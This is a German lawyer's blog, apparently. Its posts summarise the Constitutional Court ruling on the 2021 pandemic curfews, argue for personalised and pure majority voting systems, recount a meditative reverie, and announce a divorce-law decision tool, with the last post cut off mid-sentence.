Die Verfassungsbeschwerden betreffend Ausgangs- und Kontaktbeschränkungen im Vierten Gesetz zum Schutz der Bevölkerung bei einer epidemischen Lage von nationaler Tragweite ("Bundesnotbremse“) blieben erfolglos. Mit Beschluss vom 19. November 2021 (Az. 1 BvR 781/21 u. a.) hat der Erste Senat des Bundesverfassungsgerichts in mehreren Hauptsacheverfahren Verfassungsbeschwerden zurückgewiesen, die sich unter anderem gegen die durch das Vierte Gesetz zum Schutz der Bevölkerung bei einer epidemischen Lage von nationaler Tragweite vom 22. April 2021 in § 28b Abs. 1 Satz 1 Nr. 2 IfSG für einen Zeitraum von gut zwei Monaten eingefügten bußgeldbewehrten Ausgangsbeschränkungen sowie bußgeldbewehrten Kontaktbeschränkungen nach § 28b Abs. 1 Satz 1 Nr. 1 IfSG zur Eindämmung der Corona-Pandemie richteten. Das Schutzkonzept des Gesetzgebers diente in seiner Gesamtheit dem Lebens- und Gesundheitsschutz sowie der Aufrechterhaltung eines funktionsfähigen Gesundheitssystems als überragend wichtigen Gemeinwohlbelangen. Die Maßnahmen griffen allerdings in erheblicher Weise in verschiedene Grundrechte ein. Das Bundesverfassungsgericht hat die Maßnahmen anhand der allgemein für sämtliche mit Grundrechtseingriffen verbundenen Gesetze geltenden verfassungsrechtlichen Anforderungen geprüft. Danach waren die hier zu beurteilenden Kontakt- und selbst die Ausgangsbeschränkungen in der äußersten Gefahrenlage der Pandemie mit dem Grundgesetz vereinbar; insbesondere waren sie trotz des Eingriffsgewichts verhältnismäßig. Durch gesetzliche Regelungen erfolgende Eingriffe in Grundrechte können lediglich dann gerechtfertigt sein, wenn der Gesetzgeber mit dem Gesetz verfassungsrechtlich legitime Zwecke verfolgt. Ob dies der Fall ist, unterliegt der Prüfung durch das Bundesverfassungsgericht. Jedenfalls bei Gesetzen, mit denen der Gesetzgeber von ihm angenommenen Gefahrenlagen für die Allgemeinheit oder für Rechtsgüter Einzelner begegnen will, erstreckt sich die Prüfung durch das Bundesverfassungsgericht auch darauf, ob die dahingehende Annahme des Gesetzgebers hinreichend tragfähige Grundlagen hat. Gegenstand verfassungsgerichtlicher Überprüfung ist also sowohl die Einschätzung des Gesetzgebers zum Vorliegen einer solchen Gefahrenlage als auch die Zuverlässigkeit der Grundlagen, aus denen er diese abgeleitet hat oder ableiten durfte. Allerdings belässt ihm die Verfassung für beides einen Spielraum, der vom Bundesverfassungsgericht lediglich in begrenztem Umfang überprüft werden kann. Die Einschätzung und die Prognose der dem Einzelnen oder der Allgemeinheit drohenden Gefahren sind verfassungsrechtlich darauf zu überprüfen, ob sie auf einer hinreichend gesicherten Grundlage beruhen. Je nach Eigenart des in Rede stehenden Sachbereichs, der Bedeutung der auf dem Spiel stehenden Rechtsgüter und den Möglichkeiten des Gesetzgebers, sich ein hinreichend sicheres Urteil zu bilden, kann die verfassungsgerichtliche Kontrolle dabei von einer bloßen Evidenz- über eine Vertretbarkeitskontrolle bis hin zu einer intensivierten inhaltlichen Kontrolle reichen. Geht es um schwerwiegende Grundrechtseingriffe, dürfen Unklarheiten in der Bewertung von Tatsachen grundsätzlich nicht ohne Weiteres zu Lasten der Grundrechtsträger gehen. Jedoch kann sich - wie hier - auch die Schutzpflicht des Staates auf dringende verfassungsrechtliche Schutzbedarfe beziehen. Sind wegen Unwägbarkeiten der wissenschaftlichen Erkenntnislage die Möglichkeiten des Gesetzgebers begrenzt, sich ein hinreichend sicheres Bild zu machen, genügt es daher, wenn er sich an einer sachgerechten und vertretbaren Beurteilung der ihm verfügbaren Informationen und Erkenntnismöglichkeiten orientiert. Dieser Spielraum gründet auf der durch das Grundgesetz dem demokratisch in besonderer Weise legitimierten Gesetzgeber zugewiesenen Verantwortung dafür, Konflikte zwischen hoch- und höchstrangigen Interessen trotz ungewisser Lage zu entscheiden. Daran gemessen verfolgte der Gesetzgeber mit den in § 28b Abs. 1 Satz 1 Nr. 1 IfSG angeordneten Kontaktbeschränkungen jeweils für sich genommen und auch in ihrer Zusammenschau die zuvor genannten verfassungsrechtlich legitimen Zwecke. Die durch § 28b Abs. 1 Satz 1 Nr. 1 IfSG angeordneten Beschränkungen von Kontakten im privaten und im öffentlichen Raum waren im verfassungsrechtlichen Sinne auch geeignet, die Gesetzeszwecke zu erreichen. Dafür genügt bereits die Möglichkeit, durch die gesetzliche Regelung den Gesetzeszweck zu erreichen. Bei der Beurteilung der Eignung einer Regelung steht dem Gesetzgeber ein Spielraum zu, der sich auf die Einschätzung und Bewertung der tatsächlichen Verhältnisse, auf die etwa erforderliche Prognose und auf die Wahl der Mittel bezieht, um die Ziele des Gesetzes zu erreichen. Die angegriffenen Kontaktbeschränkungen waren als Maßnahmen zum Schutz von Leben und Gesundheit sowie zur Aufrechterhaltung eines funktionsfähigen Gesundheitssystems ferner im verfassungsrechtlichen Sinne erforderlich. Verfassungswidrig wären die Kontaktbeschränkungen gewesen, wenn andere, in der Wirksamkeit den Kontaktbeschränkungen in ihrer konkreten Gestalt eindeutig gleiche, aber die betroffenen Grundrechte weniger stark einschränkende Mittel zur Verfügung gestanden hätten. Die Kontaktbeschränkungen waren des Weiteren verhältnismäßig im engeren Sinne. Das setzt voraus, dass der mit der Maßnahme verfolgte Zweck und die zu erwartende Zweckerreichung nicht außer Verhältnis zu der Schwere des Eingriffs stehen. Es ist Aufgabe des Gesetzgebers, in einer Abwägung Reichweite und Gewicht des Eingriffs in Grundrechte einerseits der Bedeutung der Regelung für die Erreichung legitimer Ziele andererseits gegenüberzustellen. Um dem Übermaßverbot zu genügen, müssen hierbei die Interessen des Gemeinwohls umso gewichtiger sein, je empfindlicher die Einzelnen in ihrer Freiheit beeinträchtigt werden. Umgekehrt wird gesetzgeberisches Handeln umso dringlicher, je größer die Nachteile und Gefahren sind, die aus gänzlich freier Grundrechtsausübung erwachsen können. Dem ist der Gesetzgeber gerecht geworden. Die Annahme des Gesetzgebers, mittels der in § 28b Abs. 1 Satz 1 Nr. 2 IfSG angeordneten Ausgangsbeschränkungen die Anzahl der Infektionen reduzieren zu können, hält sich ebenfalls innerhalb des ihm bei der Einschätzung der Eignung und der Erforderlichkeit einer Maßnahme zustehenden Spielraums. Die nächtlichen Ausgangsbeschränkungen sollten die allgemeinen Kontaktbeschränkungen nach § 28b Abs. 1 Satz 1 Nr. 1 IfSG und die sonstigen Schutzmaßnahmen unterstützen und insbesondere die Einhaltung der Kontaktbeschränkungen in geschlossenen Räumen sichern. Dies beruhte auf der hinreichend tragfähigen Annahme, dass der Virusübertragung und Ansteckung in Innenräumen zwar durch Schutzmaßnahmen wie dem Abstandhalten, dem Tragen von Masken, Lüften und allgemeiner Hygieneregeln entgegengewirkt werden kann, dass dies aber zur Abend- und Nachtzeit und im privaten Rückzugsbereich nur eingeschränkt durchsetzbar ist. Dass der Gesetzgeber sich dafür entschied, solche Zusammenkünfte von vornherein über vergleichsweise einfach zu kontrollierende Ausgangsbeschränkungen zu reduzieren, war angesichts der bestehenden Erkenntnislage verfassungsrechtlich nicht zu beanstanden. § 28b Abs. 1 Satz 1 Nr. 2 IfSG genügte auch dem Verhältnismäßigkeitsgebot im engeren Sinne. Der Gesetzgeber hat für den zu beurteilenden Zeitraum einen verfassungsgemäßen Ausgleich zwischen den mit den Ausgangsbeschränkungen verfolgten besonders bedeutsamen Gemeinwohlbelangen und den durch die Beschränkungen bewirkten erheblichen Grundrechtsbeeinträchtigungen gefunden. Im Rahmen seines Schutzkonzepts räumte er nicht einseitig dem Lebens- und Gesundheitsschutz sowie der Funktionsfähigkeit des Gesundheitssystems Vorrang ein. Er hat mit den speziell die Ausgangsbeschränkungen betreffenden Ausnahmeregelungen in § 28b Abs. 1 Satz 1 Nr. 2 Buchstaben a bis g IfSG grundrechtlich geschützte, entgegenstehende Belange besonders berücksichtigt. Das galt für die Mandats- und Berufsausausübung, einschließlich derjenigen von Medienvertretern, die auch während der nächtlichen Ausgangsbeschränkungen tätig sein konnten. Damit trug der Gesetzgeber insbesondere den Grundrechten aus Art. 12 Abs. 1 und Art. 5 Abs. 1 Satz 2 GG Rechnung. Die Ausnahmen für die Wahrnehmung des Sorge- und Umgangsrechts sowie für die Durchführung unaufschiebbarer Betreuung unterstützungsbedürftiger Personen oder Minderjähriger milderten die Intensität des Eingriffs vor allem in die Grundrechte aus Art. 6 Abs. 1 und Abs. 2 Satz 1 GG ab. Das Zusammenwirken der genannten Ausnahmen kam unter anderem Alleinerziehenden in ihrer besonderen Belastungssituation entgegen. Sämtliche Ausnahmetatbestände milderten also das Gewicht der Eingriffe in einzelne Grundrechte ab. Zudem begrenzte die generalklauselartige Ausnahme aus § 28b Abs. 1 Satz 1 Nr. 2 Buchstabe f IfSG die Eingriffsintensität. Umfassende Ausgangsbeschränkungen kommen nur in einer äußersten Gefahrenlage in Betracht. Hier war die Entscheidung des Gesetzgebers für die angegriffenen Maßnahmen in der konkreten Situation der Pandemie und nach den auch in diesem Verfahren durch die sachkundigen Dritten bestätigten Erkenntnissen zu den Wirkungen der Maßnahmen und zu den großen Gefahren für Leben und Gesundheit tragfähig begründet und mit dem Grundgesetz vereinbar. Soweit in diesem Verfahren weitere Maßnahmen des Gesetzes zur Eindämmung der Pandemie angegriffen wurden, wie etwa die Beschränkungen von Freizeit- und Kultureinrichtungen, Ladengeschäften, Sport und Gaststätten, war die entsprechende Verfassungsbeschwerde nicht zulässig erhoben. Quelle: Die komplette Pressemitteilung Nr. 101/2021 vom 30. November 2021 finden Sie auf der Homepage des Bundesverfassungsgerichts. https://www.bundesverfassungsgericht.de [Autor: Dr. jur. André Helmke] |
![]() | Einfluss der Parteien zurückdrängen | 0 | 22.09.2018 - 16:59:11 | 24.09.2018 - 22:01:08 |
Die Bürgerschaft (das Landesparlament) hat am 22. Februar 2018 mit den Stimmen von SPD, CDU, Grüne und Die Linke eine Änderung des Bremer Wahlrechts beschlossen, das im Jahre 2006 durch ein erfolgreiches Volksbegehren des Vereins "Mehr Demokratie" auf den Weg gebracht worden war. Aus heutiger Sicht bedeutet die Gesetzesänderung vom 22. Februar 2018 eine Verschlechterung des Einflusses der Wählenden. Denn diese Änderung wird erfahrungsgemäß zur Folge haben, dass die Reihenfolge auf den Parteilisten und somit die Parteien wieder an Bedeutung gewinnen werden. Gegen diesen Verlust an demokratischer Mitbestimmung der Wählerinnen und Wähler richtet sich das neue Volksbegehren "Mehr Demokratie beim Wählen - unseren Einfluss sichern und stärken“ des Vereins "Mehr Demokratie". Der Gesetzentwurf des Volksbegehrens ermöglicht den Wählerinnen und Wählern mehr Einfluss auf die - personelle - Zusammensetzung der Bürgerschaft als bisher. Mit ihm werden Änderungen nicht nur für die Wahlen zur Bremischen Bürgerschaft geplant, sondern entsprechend auch für die Wahlen für die Beiräte im Wahlbezirk Bremen sowie für die Stadtverordnetenversammlung im Wahlbezirk Bremerhaven. Das Volksbegehren sieht vor, dass alle Listenstimmen für eine Partei zusammengezählt werden und dann gleichmäßig auf alle Kandidat/innen dieser Partei verteilt werden. Diesen Stimmen werden sodann die jeweiligen Personenstimmen hinzugerechnet. Der Einfluss der Personenstimmen bleibt mithin gewahrt, wird sogar noch ein höheres Gewicht bekommen. Auch das tatsächliche Problem, welches das Wahlrecht mit sich gebracht hat, das sog. Personenstimmenparadox, wird mit diesem Vorschlag gelöst. Mit diesem neuen Wahlrechtsvorschlag wäre gesichert, dass die Anzahl der Personenstimmen darüber entscheidet, welche Kandidat/innen einen Sitz im Parlament bekommen. Listenstimmen sind weiterhin möglich, aber sie werden gleichmäßig auf alle Kandidat/innen dieser Partei umgelegt. Letzten Endes entscheiden nur noch die an Personen direkt vergebenen Stimmen über den Einzug in die Bürgerschaft. ![]() Dies kommt einem reinen Persönlichkeitswahlrecht schon sehr nahe! ![]() Mit großer Freude über dieses Volksbegehren habe ich daher heute unterschrieben! ![]() Für ein erfolgreiches Volksbegehren sollen bis zum 14. Oktober 2018 mindestens 30000 Unterschriften gesammelt werden. Nur wenn genügend Menschen unterschrieben haben, kann es am 26. Mai 2019 - parallel zur Bürgerschaftswahl - zum Volksentscheid über den Wahlrechtsvorschlag kommen. In Bremerhaven sammelt der Verein "Mehr Demokratie“ weiterhin Unterschriften auf dem Konrad-Adenauer-Platz (zur Grashoffstraße hin gelegen) jeden Sonnabend in der Zeit zwischen 10:00 und 13:00 Uhr. Die diesem Volksbegehren zugrunde liegenden Änderungen führen zwar - leider noch ![]() es handelt sich hierbei meines Erachtens um eine sehr intelligente Kompromisslösung. ![]() Die Vorteile liegen auf der Hand: Während sich auf der einen Seite die Wähler besser mit ihrem Abgeordneten identifizieren könnnen, hat der Abgeordnete auf der anderen Seite ein stärkeres Interesse daran, im Sinne seiner Wähler abzustimmen. ![]() Abschließend möchte ich noch einen Teil aus dem Schreiben des Vereins "Mehr Demokratie" vom 29. August 2018 an ein paar Kritiker zitieren: "Die Parteien wirken laut Artikel 21 Grundgesetz an der Meinungs- und Willensbildung mit. Das tun sie auch mit einem stärker personalisierten Wahlrecht. Parteien wirken an der politischen Willensbildung mit, sie bestimmen sie nicht allein. Deswegen ist es vernünftig, über Öffnungen der Parteien nachzudenken und Reformen umzusetzen. Menschen zu beteiligen, heißt auch, ihnen zu vertrauen und ihnen mit Respekt zu begegnen." Dem ist nichts hinzuzufügen! ![]() Ich wünsche dem Verein "Mehr Demokratie" weiterhin viel Glück für dieses Vorhaben und bedanke mich für das Engagement seiner Mitglieder/innen! ![]() http://www.fuenf-richtige.de/wahlrecht/ [Autor: Dr. jur. André Helmke] |
![]() | Neulich beim Meditieren ... | 0 | 23.12.2017 - 10:31:49 | 17.06.2018 - 11:57:54 |
Es war ein wunderschöner Spätsommerabend und ich entschloss mich ganz spontan, am Deich in Bremerhaven beim Sonnenuntergang zu meditieren. In der Anfangsphase einer Meditation ist es ganz normal, dass einem viele Gedanken durch den Kopf kreisen. Dies sollte man auch zulassen und sich dabei immer wieder auf die Atmung ins untere Dantian konzentrieren. Dieses befindet sich in der Region des Unterbauches, etwa eine Breite von Zeige- und Mittelfinger unterhalb des Bauchnabels. Nach einer gewissen Weile werden die Gedanken weniger, und das Qi sinkt ins Dantian, wonach das eigentliche Meditieren erst beginnt. Bei dem Qi handelt es sich um die generelle Lebensenergie eines Menschen. Mit dem Sinken des Qi ins Dantian wird der Geist ruhiger und man kann so bestens entspannen. Nur an diesem Abend ging mir das Bild von dem traumhaften Sonneruntergang irgendwie nicht aus dem Kopf. Zum Glück erinnerte ich mich an meinen Tai Chi Chuan – Lehrer, der in solchen Situationen eine interessante Abhilfe empfiehlt: Man soll mit seinem Geist für eine kurze Zeit seinen Körper verlassen und mit ihm ein wenig nach oben fliegen, um so von oben aus der Vogelperspektive seinen eigenen Körper zu betrachten. Das tat ich in diesem Moment dann auch. Mein Geist wanderte einige Meter nach oben und ich sah meinen Körper, wie er da unten am Deich in einer meditativen Haltung stand. Ich schaute mich sehr genau an und dachte dabei auch an meine Glieder und Organe, wie sie nun über so viele Jahre immer für mich da gewesen sind und das Tag und Nacht. ohne jemals eine wirkliche Pause gemacht zu machen. Was für eine tolle Leistung - dachte ich und bedankte mich gedanklich dafür bei meinem Körper. Ich merkte, wie der Tipp von meinem Lehrer funktionierte. Meine Gedanken im Kopf waren nur noch auf das Betrachten und Bewundern meines Körpers fokussiert. Deshalb wollte ich meinen Geist eigentlich wieder hinunter zu meinem Körper führen und mit der Meditation fortfahren. Doch nun kam mir ein neuer Gedankengang. Was würde eigentlich passieren, wenn ich meinen Geist noch weiter nach oben in den Himmel führen würde? Irgenwie fand ich diese Idee spannend und ich entschied mich, dies sofort auszuprobieren. Also wanderte ich mit meinem Geist weiter nach oben. Dabei schaute ich nach unten auf meinen Körper und sah, wie er immer kleiner wurde. Auch der eigentlich so riesige Kran, der in der Nähe steht, wurde immer kleiner und sah schließlich aus wie ein Spielzeug. Es dauerte gar nicht lange und ich konnte unsere ganze Stadt von oben betrachten. Viele Menschen und Häuser erstrahlten im Licht des Sonnenunterganges. Es sah wunderschön aus. Obwohl es mir gedanklich ein wenig unheimlich wurde, führte ich meinen Geist weiter nach oben. Meinen Körper konnte ich schon lange nicht mehr sehen. Dafür sah ich nun unser Land als einen kleinen Teil der Erdoberfläche vom Großen und Ganzen der Erde. Nun wollte ich es wissen. Ich führte meinen Geist noch weiter nach oben. Jetzt konnte ich erkennen, wie die Planeten unseres Sonnensystems um die Sonne kreisen. Bei diesem Anblick erinnerte ich mich an den fesselnden Bericht Anfang des Jahres über eine Analyse von 150.000 Sternen, wonach wir Menschen zu 97 Prozent aus Sternenstaub bestehen, und führte meinen Geist noch weiter nach oben. Schon bald sah ich viele Galaxien, die jeweils aus einer Sonne und um sie herumkreisende Planeten bestehen. Je weiter ich meinen Geist in die unendlichen Welten des Universiums führte, desto kleiner wurden die Galaxien. Aber einen Monment mal - dachte ich, irgendwie erinnert mich dieses Bild an etwas: Handelt es sich bei den einzelnen Galaxien in etwa auch "nur" jeweils um ein Atom? Der Aufbau eines Atoms kann bekanntlich grob unterteilt werden in den Atomkern, welcher aus elektrisch neutralen Neutronen und positiv geladenen Protonen besteht, und der Atomhülle, welche aus den negativ geladenen Elektronen besteht. Die Elektronen bewegen sich auf Kreisbahnen um den Kern. Vergleicht man nun den Atomkern mit der Sonne und die darum herumkreisenden Planeten als Elektronen der Atomhülle, so folgerte ich gedanklich daraus, dass Galaxien doch (auch) nur Atome sind. Jedes Atom gehört bekanntlich zu einem bestimmten chemischen Element und bildet dessen kleinste Einheit. Betrachtet man Galaxien als Atome, so stellt sich mir die Frage, was denn das unbekannte (bestimmte) große und ganze Element ist? Ich wurde immer neugieriger! ![]() Aber noch weiter nach oben wollte ich mit meinem Geist lieber doch nicht steigen. ![]() Ist Materie womöglich doch ein beliebig teilbares Kontinuum? ![]() Ich war von diesen Gedankengängen sowas von begeistert, dass ich ganz vergaß, lediglich in der Anfangsphase meiner Meditation gewesen zu sein. Zum Glück hatte ich mir den Ort unserer Galaxis gemerkt und konnte so meinen Geist langsam wieder dahin zurückführen. Ich erreichte die Erde und schließlich meinen Körper wieder in wenigen Sekunden. Noch bevor mein Qi ins Dantian sinken konnte, merkte ich, dass die Sonne bereits untergegangen war und mir kalt wurde. Ich beendete daher die Meditation. Nun bin ich zwar nicht an diesem Abend zum Meditieren gekommen, aber diese "Reise" war für mich eine unbeschreibliche Erfahrung. Meine Gedankengänge haben mir erstmals richtig vor Augen geführt, in was für einer unglaublich wundervollen Welt wir doch leben! Jede Handlung sowie jedes Experiment jedes einzelnen Menschen auf diesem Planeten muss daher sehr gründlich überlegt werden, damit dieser faszinierenden Welt kein Schaden zugefügt wird! http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Reines Mehrheitswahlrecht? JA, BITTE! | 0 | 14.08.2017 - 12:30:14 | 17.08.2017 - 18:22:06 |
Frau Elke Twesten aus dem Kreis Rotenburg/Wümme wechselt im August 2017 nach 20 Jahren von den Grünen zur CDU und bringt Rot-Grün im niedersächsischen Landtag um die Mehrheit. Eigentlich sollte erst im Frühjahr 2018 ein neuer Landtag in Niedersachsen gewählt werden. Nun finden die Landtagswahlen bereits am 15. Oktober 2017 statt. Eine Kampfabstimmung um die Direktkandidatur in ihrem Wahlkreis Rotenburg (Wümme) hatte Frau Twesten verloren. Auch wurden ihr in der Partei keine großen Chancen auf einen aussichtsreichen Listenplatz zugesagt. Daraufhin folgte der Wechsel, den sie wie folgt auf ihrem Facebook-Account am 07.08.2017 begründete: "Mein Austritt bei den Grünen ist inhaltlich begründet, der Entscheidung ist ein langanhaltender Entfremdungsprozess vorausgegangen." Es ist zwar richtig, dass in vergleichbaren Fällen jemand die Partei wechselt. Aber nach meinen Erkenntnissen wird dann das Mandat an die Partei zurückgegeben, der man den Einzug ins Parlament über die Landesliste zu verdanken hat (siehe dazu auch FAZ vom 11.08.2017, Seite 1). Anders sähe es aus, wenn Frau Twesten über die Persönlichkeitswahl (Mehrheitswahl) ins Parlament eingezogen wäre. Denn bei der Persönlichkeitswahl steht die Person im Vordergrund und nicht die Partei. Rechtlich betrachtet ist das Verhalten der Frau Twesten in Ordnung. Abgeordnete sind Vertreter des ganzen Volkes, an Aufträge und Weisungen nicht gebunden und nur ihrem Gewissen unterworfen. Und dennoch: der Fall Twesten ist für mich wieder einmal ein typisches Beispiel dafür, welche unterschiedlichen Persönlichkeiten innerhalb einer Partei politisch aktiv sind. Für mich ist daher die politische Klasse kaum noch auseinander zu dividieren. Ich höre oft die Frage, welche Partei man denn heute noch wählen kann? Eine Antwort darauf fällt mir nicht leicht. Ich stelle meistens die Gegenfrage, inwieweit es denn persönliche Überschneidungen mit dem Parteiprogramm der einen oder anderen Partei gibt? Dann sollte man sich für die Partei entscheiden, mit der man die meisten Überschneidungen hat. Gar nicht wählen zu gehen halte ich gerade in Bezug auf das Verhältniswahlsystem für fatal. Denn das würde nur die Extremisten begünstigen. Regelmäßig äußere ich bei derartigen Gesprächen gleichzeitig meinen Wunsch, ein reines Mehrheitswahlsystem auch bei uns in Deutschland einzuführen. Denn leider gewinne ich zunehmend den Eindruck, dass Mitgliedschaften in den Parteien meistens nur noch dem Ziel dient, einen lukrativen Posten zu bekommen. Und derjenigen Partei, die das bessere Angebot macht oder wo man meint, die beste Karriere zu machen oder die besten wirtschaftlichen Verbindungen knüpfen zu können, wird beigetreten. "So funktionieren Parteien nun einmal, die ja nichts anderes sind als eine Ansammlung von Menschen, die sich lange kennen, politisch Einfluss nehmen wollen und - das gehört dazu - nach Ämtern und Mandaten streben" (FAZ vom 11.08.2017, Seite 1). Mittlerweile glaube ich sogar, dass Parteisoldaten in diesem Lande die meisten Vorteile haben, während die Parteilosen bzw. die Andersdenkenden auf der Strecke bleiben. Besonders schlimm wird es dann, wenn die Parteilosen bzw. die Andersdenkenden auch noch Kritik äußern und diese ganz offensichtlich nicht erwünscht ist. So musste jüngst die CDU-Stadtverordnetenfraktion in Bremerhaven der Öffentlichkeit über die NZ mitteilen, dass sie keine Maulkörbe für Lehrer hinnehmen will (NZ vom 07.08.2017, Seite 10). Es sei "völlig inakzeptabel, dass sich an Schulen offensichtlich das Gefühl breitmache, man könne keine Kritik ohne persönlichen Nachteil äußern" (Irene von Twistern, NZ a.a.O.). "Es ist doch selbstverständlich, dass jeder das Recht hat, seine Meinung angstfrei zu äußern, auch wenn sie nicht immer zum Mainstream passt - und das sanktionsfrei", sagt von Twistern (NZ a.a.O.). Das, was in dieser Stadt passiert, ist für mich mittlerweile abschreckend! Da haben Menschen Angst, ihre Meinung frei zu äußern! ![]() Haben wir hier in Bremerhaven tatsächlich bereits regimeähnliche Verhältnisse? Oder haben wir hier sogar bereits mafiöse Strukturen? ![]() Immerhin definiert David Ellero von Europol mafiöse Strukturen mit Organisationen, die allein durch die Mitgliedschaft in der jeweiligen Gruppe Angst und Einschüchterung verbreiten (FAZ vom 12.08.2017, Seite 7). Deshalb muss man sich auch nicht wundern, wenn sich Lehrer/Innen und Großinvestoren vermutlich wegen dieser regimeähnlichen Verhältnisse für eine andere Stadt entscheiden. Der Parteienfilz hat ein nicht mehr zu akzeptierendes Ausmaß angenommen. Dies gilt übrigens nicht nur für die "freieste Gemeinde" Bremerhaven, wobei sich der Parteienfilz hier in 70 Jahren SPD-Herrschaft besonders stark entwickeln konnte. Hoffentlich rufen viele Betroffene bei der Anti-Filz-Hotline (0421-98 88 52 57) der Gruppe BÜRGER IN WUT an, damit Bremerhaven von diesen regimeähnlichen Verhältnissen endlich befreit werden kann! Ich kann dem Politikwissenschaftler Roland Czada nur zustimmen, wenn auch seiner Auffassung nach die Parteien der Willensbildung hinterher rennen anstatt, wie vom Grundgesetz vorgesehen, an ihr mitzuwirken (Prof. Czada, Zentrum für Demokratie- und Friedensforschung an der Universität Osnabrück, NZ vom 09.08.2017, Seite 4). Zu viele Politiker bemühten sich mehr um Machterhalt als um Ziele und Inhalte (NZ a.a.O.). Die Macht der Parteien muss meines Erachtens daher umgehend zurückgedrängt und den Menschen in diesem Lande wieder "die Zügel der Macht" in die Hände gelegt werden. Bereits aus der systematischen Stellung der Art. 20 Abs. 2 Satz 1 GG und Art. 21 GG zueinander ist erkennbar, dass primär alle Staatsgewalt vom Volke ausgeht. Die Parteien wirken bei der politischen Willensbildung des Volkes (lediglich) mit. Faktisch ist es aber leider so, dass sich Deutschland zu einem überwiegenden Parteienstaat entwickelt hat und damit diese beiden wesentlichen Vorschriften in unserem Grundgesetz ins Gegenteil verkehrt worden sind. Nach einer Studie der Bertelsmann-Stiftung (Autoren sind Robert Vehrkamp von der Bertelsmann-Stiftung und Christopher Wratil von der Uni Köln), vorgestellt am 25.07.2017, vertreten knapp zwei Drittel der wahlberechtigten Deutschen mindestens teilweise populistische Ansichten (FAZ vom 26.07.2017, Seite 4). Der Präsident des Deutschen Instituts für Wirtschaftsforschung (DIW), Marcel Fratzscher, macht vor allem die gute wirtschaftliche Lage dafür verantwortlich, dass populistische Politiker und Parteien in Deutschland derzeit wenig Zulauf hätten. Die Studie macht allerdings auch deutlich, dass die Enttäuschung über die demokratische Praxis in Deutschland offenkundig tief sitzt, das Gefühl, von "denen da oben" nicht mehr verstanden zu werden (Vetter, NZ vom 26.07.2017, Seite 2). Daher kann es seiner Ansicht nach zu Recht auch keine Entwarnung geben. Da kann man ja nur hoffen, dass sich die wirtschaftliche Lage in Deutschland nicht verschlechtert! ![]() Ich halte die Einführung eines reinen Mehrheitswahlrecht für die beste Lösung, um wieder die Menschen bei Wahlen als Persönlichkeit in den Vordergrund zu stellen. In jedem Wahlkreis würde so ein Abgeordneter direkt gewählt werden (Einpersonenwahl, Persönlichkeitswahl). Dabei gilt Folgendes: - Jeder macht nur ein Kreuz: Wählerinnen und Wähler haben je eine Stimme für eine Kandidatin oder einen Kandidaten im Wahlkreis. Gewählt ist, wer die meisten Stimmen im Wahlkreis erhält. - The Winner takes it all: die Stimmen der Unterlegenen fallen weg. Das Problem der Überhangmandate gibt es also beim reinen Mehrheitswahlrecht nicht mehr. Die weiteren Vorteile eines reines Mehrheitswahlrechts (Persönlichkeitswahlrechts) sind: - Bei einem reinen Mehrheitswahlrecht werden die heterogenen Auffassungen schon im Vorfeld der Wahl in den Stimmbezirken (Wahlbezirken) miteinander konfrontiert, und durchsetzen können sich nur Kandidaten, denen es gelingt, zwischen den Parteimeinungen einen Ausgleich herzustellen (ähnlich James Madison, einer der Gründerväter der amerkanischen Verfassung, FAZ vom 28.07.2017, Seite 12). - Die Wähler können sich so besser mit ihrem Abgeordneten identifizieren. - Der Abgeordnete hat so ein stärkeres Interesse daran, im Sinne seiner Wähler abzustimmen. - Extremistische Parteien haben praktisch keine Chance, in einem Wahlkreis eine Mehrheit der Stimmen zu erringen. Man stelle sich nun einmal vor, Frau Trestin wäre im Rahmen dieses reinen Mehrheitswahlrechts (als Mitglied der Grünen oder auch gern als Parteiunabhängige) in den niedersächsischen Landtag gewählt worden. Hier wäre meines Erachtens von besonderer Bedeutung, dass die Person Trestin mit ihren Argumenten für die Wähler im Vordergrund gestanden hätte. Denn man kann davon ausgehen, dass diese der Hauptgrund für die Mehrheit der Stimmen in ihrem Wahlbezirk gewesen wäre. Deshalb glaube ich kaum, dass die Wähler so empört reagiert hätten, wenn sich Frau Trestin unter dieser Prämisse für einen Fraktionswechsel entschieden hätte. Es wird daher Zeit, das reine Mehrheitswahlrecht auch hier in Deutschland einzuführen! ![]() Zusätzlich sollte die direkte Demokratie gestärkt werden, damit die Menschen in diesem Lande die Kontrollfunktion über unsere Vertretungsorgane zurückerlangen. Bei wesentlichen Verfassungsänderungen, oder wenn es darum geht, eine Richtungsentscheidung für die Bundesrepublik Deutschland zu treffen (z. B. der Ausstieg aus der Atomenergie, die bedingungslose Grenzöffnung oder die Einführung des reinen Mehrheitswahlrechts ![]() Volksabstimmung geben. Auch sollte ein Volksbegehren, das von einer größeren Anzahl von Menschen unterstützt wird, eine Volksabstimmung nach sich ziehen. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Eherecht: Ist Scheidung der Ehe möglich? | 0 | 21.07.2017 - 17:04:33 | 03.08.2017 - 12:06:52 |
Am 21.07.2017 wurde die erste Version des Kontextbaumes "Eheschg" (Eherecht: Ist Scheidung der Ehe möglich?) in Justitia21 integriert. Mit diesem Kontextbaum können Sie interaktiv und denklogisch die wesentlichen, praxisrelevanten Voraussetzungen prüfen, inwieweit eine Ehescheidung möglich ist. Darüber hinaus werden in diesem Kontextbaum auch die Scheidungsfolgesachen erörtert. Zu den Folgesachen gehören nach § 137 Abs. 2 und 3 FamFG der Versorgungsausgleich, Unterhaltssachen, Ehewohnung und Hausrat, Güterrechtssachen sowie Kindschaftssachen wie Sorgerechtsfragen und Umgang. Manchmal passieren Dinge in Leben, die weder geplant noch vorauszusehen, noch erwünscht sind. Dazu gehören sicherlich Ehescheidungen. Sie stellen Herausforderungen dar, die Bewältigungsstrategien erfordern und in der Regel auch eine Neuorientierung verlangen. Auf der anderen Seite können Ehescheidungen aber auch eine Erleichterung sein, die spätestens mit der Mitteilung der Rechtskraft des Scheidungsbeschlusses eintritt. Es ist nun leider Tatsache, dass in Deutschland mittlerweile jede dritte Ehe, in Großstädten wie München oder Berlin sogar nahezu jede zweite Ehe geschieden wird. Um eine Ehe zu beenden, ist die Scheidung auch heute noch der klassische Weg. Sie setzt gem. § 1565 Abs. 1 BGB ein Scheitern der Ehe voraus. Eine Ehe ist demnach gescheitert, wenn eine Lebensgemeinschaft nicht mehr besteht und ihre Wiederherstellung nicht zu erwarten ist (sogenanntes Zerrüttungsprinzip). Auf das Verschulden eines Ehegatten kommt es mithin nicht an. Mit diesem Kontextbaum wird denklogisch geprüft, ob eine Ehescheidung nach Deutschem Recht möglich ist. Dabei erörtert der Autor die Aspekte, die im Rahmen einer 